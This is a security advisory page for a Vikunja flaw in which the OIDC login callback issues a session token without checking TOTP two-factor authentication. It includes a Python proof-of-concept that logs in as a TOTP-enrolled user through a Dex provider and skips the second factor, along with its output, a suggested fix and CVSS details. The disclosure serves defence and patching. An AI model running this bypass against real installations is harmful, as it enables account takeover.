Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path
The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.
The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:
```go
return auth.NewUserAuthTokenResponse(u, c, false)
```
There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:
```go
totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
if u.TOTPPasscode == "" {
_ = s.Rollback()
return user2.ErrInvalidTOTPPasscode{}
}
_, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
User: user,
Passcode: u.TOTPPasscode,
})
```
When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.
Tested on Vikunja v2.2.2 with Dex as the OIDC provider.
Setup:
emailfallback: true for Dexalice (id=1) has TOTP enabled```python
import requests, re, html
from urllib.parse import parse_qs, urlparse
TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"
# verify TOTP is required for local login
r = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)
# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client_id=vikunja"
f"&redirect_uri={TARGET}/auth/openid/dex"
f"&response_type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "[email protected]", "password": "password"},
allow_redirects=False)
approval_url = DEX + r.headers["Location"]
r = s.get(approval_url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval_url, data={"req": req, "approval": "approve"},
allow_redirects=False)
code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]
resp = requests.post(f"{API}/auth/openid/dex/callback",
json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status_code}")
user = requests.get(f"{API}/user",
headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed
```
Output:
```
Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice
```
Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.
When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.
This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing email_verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.
Add a TOTP check in the OIDC callback before issuing the JWT:
```go
totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
_ = s.Rollback()
return err
}
if totpEnabled {
_ = s.Rollback()
return echo.NewHTTPError(http.StatusForbidden,
"TOTP verification required. Please use the local login endpoint.")
}
return auth.NewUserAuthTokenResponse(u, c, false)
```
*Found and reported by [aisafe.io](https://aisafe.io)*
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE-2026-34727 is classified as CWE-287: Improper Authentication. The identity of the caller is not established correctly, so an attacker can act as another user.
CVE-2026-34727 is recorded against 2 packages.
Published on 10 April 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-287: Improper Authentication) in other software:
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| code.vikunja.io/api | — | — |
| vikunja | — | 2.3.0 |
References
Similar Threats
Site Security Check
CVE-2026-34727 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.